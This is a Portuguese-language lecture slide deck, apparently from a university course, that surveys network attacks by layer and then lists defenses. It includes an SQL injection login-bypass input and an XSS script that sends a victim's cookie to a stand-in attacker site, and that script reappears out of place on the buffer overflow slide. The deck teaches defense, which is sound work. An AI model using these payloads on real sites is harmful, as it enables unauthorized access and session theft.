Segurança de redes não é
coisa de moleque!




Leandro Almeida
lcavalcanti.almeida@gmail.com
www.leandrocalmeida.com
- Professor Universitário
   - IFPB
   - Estácio (iDEZ)
-Especialista em Segurança da
Informação
-Mestrando em Informática
- Certificado ITILv3
- Fedora Ambassadors
- Sócio-diretor da YouTI
Nosso chefe sempre tem um sobrinho
    que resolve tudo de informática!

                 Eu tenho um sobrinho que instala um
                      antivírus que é uma beleza!
                  E o melhor é que eu não gasto nada
O problema é que os sobrinhos não
              aguentam o tranco!
Negócios
     Tecnologia da Informação

     Segurança da Informação

Integridade   Confidencialidade   Disponibilidade




Pessoas        Processos            Tecnologias
Negócios

Segurança da   Segurança
Informação        de
                 Redes
Incidentes de Segurança




                    Fonte: www.cert.br
Aplicações em rede precisam
obedecer o Modelo de
Camadas
Modelo OSI     Modelo TCP/IP
 Aplicação
                 Aplicação
Apresentação
  Sessão
                Transporte
 Transporte
   Rede            Rede
   Enlace         Enlace
   Física          Física
Ataques – Redes de Computadores

- Engenharia Social
- ARP Spoofing
- DoS / DDoS / DoS Layer 7
- Sql Injection
- XSS
- MAC Spoofing
- IP Spoofing
- Website Defacement
- Pragas Virtuais (Vírus, Worms,...)
Ataques
Aplicação       Sql Injection    XSS
                DoS HTTP Buffer Overflow
Transporte    TCP SYN FLOOD UDP FLOOD
                    Main in the Middle

  Rede         IP Spoofing ICMP Flooding
                        STP Attack
 Enlace        ARP Spoofing
                           ARP Poisoning
  Físico                MAC Spoofing
SQL Injection
        Ex : Sistema de autenticação em PHP




Imagine se o usuário inserir os dados abaixo...
Login: qualquer coisa
Senha: ' OR '1'='1

SELECT * FROM usuarios WHERE login='qualquer coisa' AND senha = '' OR '1'='1'

  Essa query SQL retornará todos os registros da tabela usuários!
SQL Injection
                         Casos Reais
Website Mysql
http://www.computerworld.com/s/article/9215249/MySQL_Web_site_falls_victim_to_SQL_injection_attack


Sony
http://www.bbc.co.uk/news/technology-13642145


Distrito Federal
http://www.linhadefensiva.org/2008/05/ataques-de-sql-injection-atingem-sites-brasileiros/
XSS
Suposição:Facebook vulnerável a Cross-Site Scripting

                                                                      Usuário ingênuo clica no link...




                          <script>
                                Document.location =
                                'http://sitedocracker.com/roubarcokkies.php=' + document.cookie
                          </script>




Insere um código(html, Javascript,...) malicioso no lugar de um post na
base de dados do facebook
XSS
Casos Reais
DoS HTTP GET
       SYN

    SYN-ACK

        ACK

      GET /index.php

        ACK

      Pragma: 1010
         ...
   Erro 408 – Request
   Timeout
História...
- Avenge Assange – 2010 (Prisão de Julian
Assange - Wikileaks)
   – Alvo: Mastecard
- Sony – 2011 (Sony processou a GEOHOT pelo
desbloqueio do PS3)
   - Alvo: PSN (77 milhões de pessoas sem PSN)
- Megaupload – 2012 (Prisão de Kim Dotcom)
   - Alvo: FBI
DoS HTTP GET
Estatísticas - CPU
DoS HTTP GET
Estatísticas - CPU
DoS HTTP GET
Estatísticas - Memória
DoS HTTP GET
Estatísticas - Conexões
DoS HTTP POST
        SYN

     SYN-ACK

         ACK

      POST / inserir.html

         ACK

      Continuação do POST
          ...
    Erro 400 – Bad
    Request
Buffer Overflow
char nome[4];                                           int idade;


  L      E             O 0                                  2 0
Entrada: LEO idade: 20
char nome[4];                                           int idade;

  L      E             O O                                   A 0
             <script>
                   Document.location =
                   'http://sitedocracker.com/roubarcokkies.php=' + document.cookie
             </script>



Entrada: LEOOA idade: 65
Buffer Overflow
  Casos Reais
Ataques ao SSH
- CERT Advisory CA-2002-18 OpenSSH
Vulnerabilities in Challenge Response Handling
- USN-649-1: Openssh Vulnerabilities
- Openssh Security Advisory: cbc.adv – Plaintext
Recovery Attack Against SSH CPNI-957037
- CPNI Vulnerability Advisory SSH – CPNI-
957037
- Openssh vulnerability CVE-2008-0166,
http://www.ubuntu.com/usn/usn-612-1
TCP SYN FLOOD


       SYN

    SYN-ACK



       SYN
       SYN
       SYN
       SYN
       SYN
       SYN
UDP FLOOD

 UDP – porta qualquer

 UDP – porta qualquer

 UDP – porta qualquer

 UDP – porta qualquer

 UDP – porta qualquer

 UDP – porta qualquer
Main in the Middle
    Packet




                      Packet




                               Packet


             Packet
IP Spoofing
           Packet


                                        Packet

10.0.0.1


                                                Packet
                                       Packet              10.0.0.254


           Packet




            Packet
                     Atacante envia pacotes IP falsificados para
                     a vítima, se passando por outro host na
10.0.0.1             rede!
ICMP Flooding

   ICMP – echo request

   ICMP – echo request

   ICMP – echo request

   ICMP – echo request

   ICMP – echo request

   ICMP – echo request
Spanning Tree Attack
                                                     Packet
           Packet
                                                                  VLAN 2
VLAN 1



                                                PacketPacket
                                                  Packet Packet
                                                    Packet           Packet


           Packet
                                                          Atacante se torna Root bridge

                          Packet
                                                Packet
 VLAN 1        Packet              Packet



  VLAN 1


                                                                           VLAN 3
 VLAN 1                 VLAN 2              VLAN 2
ARP Spoofing
                        Packet


                                                    Packet

IP: 10.0.0.1
MAC:
                      Packet
68:A3:C4:9B:73:54

                                                                      IP: 10.0.0.254
                                                             Packet
                                                                      MAC: 52:54:00:69:42:4A
                      arpspoof
                       Packet


                    Packet
                                 Atacante envia pacotes ARP falsificados
IP: 10.0.0.2                     para a vítima, se passando por outro host
MAC:
                                 na rede!
68:A3:C4:9B:73:54
ARP Poisoning

IP: 10.0.0.1
MAC:68:A3:C4:9B:73:54


                               1   MAC                    IP: 10.0.0.254
                               2   MAC                    MAC: 52:54:00:69:42:4A
                  Packet
                               3   MAC
                               4   MAC
                               5   MAC
                               6   MAC

                           Atacante envenena a tabela ARP do Switch
IP: 10.0.0.2
MAC: 68:A3:C4:9B:73:54
MAC Spoofing
                     Packet


                                                Packet

68:A3:C4:9B:73:54
                    Packet



                                                                  52:54:00:69:42:4A
                                                         Packet



                    Packet




                              Atacante envia pacotes com endereço MAC
                              falsificado para a vítima, se passando por
68:A3:C4:9B:73:54             outro host na rede!
Como se proteger ?
Como se proteger ?
- XSS e SQL Injection
  - Filtrar os dados de entrada
     - filter_input (PHP)
  - Escapar os dados de saída
     - MySQL: mysql_real_escape_string()
     - PostgreSQL: pg_escape_string()
     - htmlentities,htmlespecialchars
  - Procure saber sobre o que é OWASP
Como se proteger ?
- Buffer Overflow
  - Filtrar os dados de entrada
  - Verificar se a linguagem não checa se um
número maior de dados pode ser armazenado
em um buffer
  - No exemplo citado, use software original
e o mantenha sempre atualizado
Como se proteger ?
- Ataques ao SSH
  - Single Packet Authorization
               ssh                   L
                                     I
                                     B
                                     P
        ssh connection refused       C
                                     A
                                     P
           SPA Packet
                                 iptables -A INPUT -i eth0 -p tcp –dport 22 -j REJECT

                                 iptables -A INPUT -i eth0 -p tcp –dport 22 -s 10.0.0.1
                                 -j ACCEPT
               ssh


        ssh connection accept
Como se proteger ?
- DoS HTTP GET/POST


 Tentativas...
   - TCP SYN Cookies
      - echo 1 > /proc/sys/net/ipv4/tcp_syncookies

   - Instalar o mod_qos no Apache
Como se proteger ?
- TCP/UDP/ICMP Flood


 Existem tentativas de soluções com o
 módulo “limit” do iptables...
Como se proteger ?
- IP Spoofing
  - Ativar o rp_filter(Reverse Path) via kernel
    Echo 1 > /proc/sys/net/ipv4/conf/default/rp_filter

  - Rejeita os pacotes quando a rota de
saída difere da rota de entrada
Como se proteger ?
- ARP Poisoning/Spoofing
  - Uso do Port Security
  - Mac Biding (atrelar MAC a IP)
  - Uso de ferramentas como rarp / arpwatch
Perguntas ?
Vida longa e próspera!
Obrigado!
Contatos:
 lcavalcanti.almeida@gmail.com
   www.leandrocalmeida.com
      @leandrocalmeida
  www.fb.com/leandrocalmeida

Segurança de-redes

  • 1.
    Segurança de redesnão é coisa de moleque! Leandro Almeida lcavalcanti.almeida@gmail.com www.leandrocalmeida.com
  • 2.
    - Professor Universitário - IFPB - Estácio (iDEZ) -Especialista em Segurança da Informação -Mestrando em Informática - Certificado ITILv3 - Fedora Ambassadors - Sócio-diretor da YouTI
  • 3.
    Nosso chefe sempretem um sobrinho que resolve tudo de informática! Eu tenho um sobrinho que instala um antivírus que é uma beleza! E o melhor é que eu não gasto nada
  • 4.
    O problema éque os sobrinhos não aguentam o tranco!
  • 5.
    Negócios Tecnologia da Informação Segurança da Informação Integridade Confidencialidade Disponibilidade Pessoas Processos Tecnologias
  • 6.
    Negócios Segurança da Segurança Informação de Redes
  • 7.
    Incidentes de Segurança Fonte: www.cert.br
  • 8.
    Aplicações em redeprecisam obedecer o Modelo de Camadas
  • 9.
    Modelo OSI Modelo TCP/IP Aplicação Aplicação Apresentação Sessão Transporte Transporte Rede Rede Enlace Enlace Física Física
  • 10.
    Ataques – Redesde Computadores - Engenharia Social - ARP Spoofing - DoS / DDoS / DoS Layer 7 - Sql Injection - XSS - MAC Spoofing - IP Spoofing - Website Defacement - Pragas Virtuais (Vírus, Worms,...)
  • 11.
    Ataques Aplicação Sql Injection XSS DoS HTTP Buffer Overflow Transporte TCP SYN FLOOD UDP FLOOD Main in the Middle Rede IP Spoofing ICMP Flooding STP Attack Enlace ARP Spoofing ARP Poisoning Físico MAC Spoofing
  • 12.
    SQL Injection Ex : Sistema de autenticação em PHP Imagine se o usuário inserir os dados abaixo... Login: qualquer coisa Senha: ' OR '1'='1 SELECT * FROM usuarios WHERE login='qualquer coisa' AND senha = '' OR '1'='1' Essa query SQL retornará todos os registros da tabela usuários!
  • 13.
    SQL Injection Casos Reais Website Mysql http://www.computerworld.com/s/article/9215249/MySQL_Web_site_falls_victim_to_SQL_injection_attack Sony http://www.bbc.co.uk/news/technology-13642145 Distrito Federal http://www.linhadefensiva.org/2008/05/ataques-de-sql-injection-atingem-sites-brasileiros/
  • 14.
    XSS Suposição:Facebook vulnerável aCross-Site Scripting Usuário ingênuo clica no link... <script> Document.location = 'http://sitedocracker.com/roubarcokkies.php=' + document.cookie </script> Insere um código(html, Javascript,...) malicioso no lugar de um post na base de dados do facebook
  • 15.
  • 16.
    DoS HTTP GET SYN SYN-ACK ACK GET /index.php ACK Pragma: 1010 ... Erro 408 – Request Timeout
  • 17.
    História... - Avenge Assange– 2010 (Prisão de Julian Assange - Wikileaks) – Alvo: Mastecard - Sony – 2011 (Sony processou a GEOHOT pelo desbloqueio do PS3) - Alvo: PSN (77 milhões de pessoas sem PSN) - Megaupload – 2012 (Prisão de Kim Dotcom) - Alvo: FBI
  • 19.
  • 20.
  • 21.
  • 22.
  • 23.
    DoS HTTP POST SYN SYN-ACK ACK POST / inserir.html ACK Continuação do POST ... Erro 400 – Bad Request
  • 24.
    Buffer Overflow char nome[4]; int idade; L E O 0 2 0 Entrada: LEO idade: 20 char nome[4]; int idade; L E O O A 0 <script> Document.location = 'http://sitedocracker.com/roubarcokkies.php=' + document.cookie </script> Entrada: LEOOA idade: 65
  • 25.
    Buffer Overflow Casos Reais
  • 26.
    Ataques ao SSH -CERT Advisory CA-2002-18 OpenSSH Vulnerabilities in Challenge Response Handling - USN-649-1: Openssh Vulnerabilities - Openssh Security Advisory: cbc.adv – Plaintext Recovery Attack Against SSH CPNI-957037 - CPNI Vulnerability Advisory SSH – CPNI- 957037 - Openssh vulnerability CVE-2008-0166, http://www.ubuntu.com/usn/usn-612-1
  • 27.
    TCP SYN FLOOD SYN SYN-ACK SYN SYN SYN SYN SYN SYN
  • 28.
    UDP FLOOD UDP– porta qualquer UDP – porta qualquer UDP – porta qualquer UDP – porta qualquer UDP – porta qualquer UDP – porta qualquer
  • 29.
    Main in theMiddle Packet Packet Packet Packet
  • 30.
    IP Spoofing Packet Packet 10.0.0.1 Packet Packet 10.0.0.254 Packet Packet Atacante envia pacotes IP falsificados para a vítima, se passando por outro host na 10.0.0.1 rede!
  • 31.
    ICMP Flooding ICMP – echo request ICMP – echo request ICMP – echo request ICMP – echo request ICMP – echo request ICMP – echo request
  • 32.
    Spanning Tree Attack Packet Packet VLAN 2 VLAN 1 PacketPacket Packet Packet Packet Packet Packet Atacante se torna Root bridge Packet Packet VLAN 1 Packet Packet VLAN 1 VLAN 3 VLAN 1 VLAN 2 VLAN 2
  • 33.
    ARP Spoofing Packet Packet IP: 10.0.0.1 MAC: Packet 68:A3:C4:9B:73:54 IP: 10.0.0.254 Packet MAC: 52:54:00:69:42:4A arpspoof Packet Packet Atacante envia pacotes ARP falsificados IP: 10.0.0.2 para a vítima, se passando por outro host MAC: na rede! 68:A3:C4:9B:73:54
  • 34.
    ARP Poisoning IP: 10.0.0.1 MAC:68:A3:C4:9B:73:54 1 MAC IP: 10.0.0.254 2 MAC MAC: 52:54:00:69:42:4A Packet 3 MAC 4 MAC 5 MAC 6 MAC Atacante envenena a tabela ARP do Switch IP: 10.0.0.2 MAC: 68:A3:C4:9B:73:54
  • 35.
    MAC Spoofing Packet Packet 68:A3:C4:9B:73:54 Packet 52:54:00:69:42:4A Packet Packet Atacante envia pacotes com endereço MAC falsificado para a vítima, se passando por 68:A3:C4:9B:73:54 outro host na rede!
  • 36.
  • 37.
    Como se proteger? - XSS e SQL Injection - Filtrar os dados de entrada - filter_input (PHP) - Escapar os dados de saída - MySQL: mysql_real_escape_string() - PostgreSQL: pg_escape_string() - htmlentities,htmlespecialchars - Procure saber sobre o que é OWASP
  • 38.
    Como se proteger? - Buffer Overflow - Filtrar os dados de entrada - Verificar se a linguagem não checa se um número maior de dados pode ser armazenado em um buffer - No exemplo citado, use software original e o mantenha sempre atualizado
  • 39.
    Como se proteger? - Ataques ao SSH - Single Packet Authorization ssh L I B P ssh connection refused C A P SPA Packet iptables -A INPUT -i eth0 -p tcp –dport 22 -j REJECT iptables -A INPUT -i eth0 -p tcp –dport 22 -s 10.0.0.1 -j ACCEPT ssh ssh connection accept
  • 40.
    Como se proteger? - DoS HTTP GET/POST Tentativas... - TCP SYN Cookies - echo 1 > /proc/sys/net/ipv4/tcp_syncookies - Instalar o mod_qos no Apache
  • 41.
    Como se proteger? - TCP/UDP/ICMP Flood Existem tentativas de soluções com o módulo “limit” do iptables...
  • 42.
    Como se proteger? - IP Spoofing - Ativar o rp_filter(Reverse Path) via kernel Echo 1 > /proc/sys/net/ipv4/conf/default/rp_filter - Rejeita os pacotes quando a rota de saída difere da rota de entrada
  • 43.
    Como se proteger? - ARP Poisoning/Spoofing - Uso do Port Security - Mac Biding (atrelar MAC a IP) - Uso de ferramentas como rarp / arpwatch
  • 44.
  • 45.
    Vida longa epróspera!
  • 46.
    Obrigado! Contatos: lcavalcanti.almeida@gmail.com www.leandrocalmeida.com @leandrocalmeida www.fb.com/leandrocalmeida